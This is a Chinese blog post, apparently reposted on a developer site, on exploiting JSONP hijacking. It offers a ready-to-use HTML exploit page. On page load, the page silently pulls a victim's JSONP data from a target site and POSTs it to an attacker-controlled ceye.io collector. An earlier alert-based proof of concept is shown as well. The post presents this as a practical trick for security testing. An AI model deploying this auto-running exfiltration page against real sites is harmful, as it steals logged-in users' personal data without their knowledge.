用ceye来利用jsonp劫持

栏目: Json · 发布时间: 6年前

内容简介:之前测jsonp劫持的时候一般是弹个alert,就做poc了,突然想试试实际利用一下是什么样子,于是就开始尝试做个实际利用的poc。在网上看到一般的证明脚本是

之前测jsonp劫持的时候一般是弹个alert,就做poc了,

突然想试试实际利用一下是什么样子,于是就开始尝试做个实际利用的poc。

正文

在网上看到一般的证明脚本是

<script>
function lego(json){
alert(JSON.stringify(json))
  }
</script>

<script src="http://vulweb.com/info?callback=lego"></script>

于是我便想尝试一下去构造一个可以来直接利用的exp

在安全客上看到了关于jsonp劫持的exp https://www.anquanke.com/post/id/152339

因为这个脚本利用的是get方法

如果劫持到的数据过多,用get请求的时候会返回414(URI太长 )

于是我就想用post的方法去请求

这种exp不能自动发起请求,需要点击按键。

用ceye来利用jsonp劫持

与CSRF利用一样,如果用burpsuite生成的csrf-poc是用个submit按钮的,

在实际利用中还是差一点的,

所以我还是想让它变得更加实用一点。

首先是使用onload事件,

<body onload="load()">

即页面加载完成后执行一个方法,

这个方法利用有post请求,就可以完成我所想实现的了。

exp

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>

<body onload="load()">
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
</script>

<script>

function load()
{
$.ajax({

url: "http://xxx.com/info?callback=lego",

type: "GET",       //指定GET请求方法

dataType: "jsonp", //指定服务器返回的数据类型

jsonp: "callback", //指定参数名称

jsonpCallback: "lego",

success: function (data) {
$.ajax({
  type: 'POST',
  url: 'http://yourceye.ceye.io/',
  data: JSON.stringify(data)
});

}

})
}
</script>
</body>
</html>

当然,需要在ceye.io中注册一个账号。

效果

用ceye来利用jsonp劫持

当然这也不是什么很有技术内容的文章,只是想跟大家分享一下一些小trick,多多包涵。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

人类2.0

人类2.0

皮埃罗∙斯加鲁菲(Piero Scaruffi) / 闫景立、牛金霞 / 中信出版集团股份有限公司 / 2017-2-1 / CNY 68.00

《人类2.0:在硅谷探索科技未来》从在众多新技术中选择了他认为最有潜力塑造科技乃至人类未来的新技术进行详述,其中涉及大数据、物联网、人工智能、纳米科技、虚拟现实、生物技术、社交媒体、区块链、太空探索和3D打印。皮埃罗用一名硅谷工程师的严谨和一名历史文化学者的哲学视角,不仅在书中勾勒出这些新技术的未来演变方向和面貌,还对它们对社会和人性的影响进行了深入思考。 为了补充和佐证其观点,《人类2.0......一起来看看 《人类2.0》 这本书的介绍吧!

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具